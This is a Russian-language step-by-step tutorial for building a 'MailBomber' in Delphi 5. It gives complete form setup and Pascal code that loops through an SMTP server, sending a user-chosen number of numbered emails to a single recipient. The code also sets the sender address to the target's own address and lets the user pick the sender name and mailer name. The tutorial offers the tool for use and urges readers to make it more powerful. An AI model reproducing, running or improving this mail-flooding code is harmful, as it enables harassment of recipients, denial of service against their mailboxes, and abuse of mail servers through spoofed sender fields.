Шаг №1.
Устанавливаем Delphi, желательно 5-ой версии,
запускаем, жмем на пимпу New->Application и лепим форму: делаем 7 полей, типа
Edit (c панели Standart), 1 кнопку (тип Button, c панели Standart) и лепим на
форму компонент TNMSMTP (с панели FastNet), а также текстовую область Memo1 (c
панели Standart).
Пусть: Edit1 будет “адрес получателя” (напишем
это в Object Inspector->Edit1->Properties-> Text).
Edit2 будет “почтовый сервер” (напишем это в
Object Inspector->Edit2-> Properties-> Text).
Edit3 будет “добавочный текст”, который в
письме будет ‘_т_е_л_о__п_и_с_ь_м_а <br> _д_о_б_а_в_о_ч_н_ы_й__т_е_к_с_т # X’,
где Х- номер следующего письма, а <br> - перевод на другую строку (напишем
что-то в этом роде в Object Inspector->Edit3-> Properties-> Text).
Edit4 будет “имя отправителя” (напишем это в
Object Inspector->Edit4-> Properties-> Text).
Edit5 будет “количество сообщений” (напишем это
в Object Inspector->Edit5-> Properties-> Text).
Edit6 будет “заголовок письма”, который в
письме будет ‘з_а_г_о_л_о_в_о_к#Х’, где Х номер текущего письма. (напишем что-то
в этом роде в Object Inspector->Edit6-> Properties-> Text).
Edit7 будет “название проги - отправителя”
(напишем это в Object Inspector->Edit7-> Properties-> Text).
Button1 будет пимпа “отправить” (напишем это в
Object Inspector->Button1-> Properties->Caption).
Memo1 будет телом сообщения.
Шаг №2
Пишем сам код. Выбираем окно Unit1.pas.
Примичание: после знака // идет мои комментарии. И еще- данная прога рассчитана
на то, что на первой строчки Memo1 будет тело письма, а на второй – добавочный
текст + номер следующего письма (добавляется автоматом)
В Var добавляем переменную “kolvo: integer;“
На форме 2 кликаем на кнопке “отправить” и
после
“procedure TForm1.Button1Click(Sender: TObject);
begin” пишем
button1.enabled:=false; //делаем кнопку
неактивной
kolvo:=0; //текущий номер письма=0
NMSMTP1.Host:= Edit2.text; // имя SMTP сервера
NMSMTP1.Port:= 25; //порт
NMSMTP1.Connect;
//пока количество отправеленных писем не станет
равно введенному-делай:
while kolvo<>(StrToInt(Edit5.text)) do begin
kolvo:= kolvo+1; // c каждым отправленным
письмом увеличиваем kolvo на 1
NMSMTP1.PostMessage.FromAddress:= Edit1.text;
//адрес отправителя
NMSMTP1.PostMessage.FromName:= Edit4.text;
//имя отправителя
NMSMTP1.PostMessage.ToAddress.Add(Edit1.text);
//добавление адреса к списку адресов
//по которым отправляется данное сообщение
NMSMTP1.PostMessage.Body.Clear; //очищаем тело
письма
Memo1.Lines.Delete(1); //очищаем 2 строку
Memo1.Lines.Insert(1,Edit3.text+'#'+(intTostr(kolvo)));
// добавление в 2-ую строку текст
NMSMTP1.PostMessage.Body.AddStrings(Memo1.Lines);//в body заносится содержимое
Memo1
NMSMTP1.PostMessage.Subject:= Edit6.text+'
'+'#'+IntToStr(kolvo); // заголовок письма
NMSMTP1.PostMessage.LocalProgram:= Edit7.text;
// название проги-отправителя
NMSMTP1.SendMail;//отсылаем
//если все отправили показываем окошко,
активируем кнопку, отсоединяемся
if kolvo=StrToInt(Edit5.text) then
begin
ShowMessage('Отправленно сообщений: '+
Edit5.text);
button1.enabled:=true;
NMSMTP1.Disconnect;
end;
end;
end;
end.
Шаг №3
Сохраняем, компилируем и запускаем Project->Build
Project1.
Как это работает
При нажатии кнопки “отправить” а поле заголовок
автоматом добавляется номер текущего письма, а в тело - добавочный текст + номер
следующего письма.
Заключение
В этой статье я описал, как сделать простой
MailBomber на Delphi. Если ты кодишь на Дельфи- добавляй и изменяй данный текст
делая прогу круче. |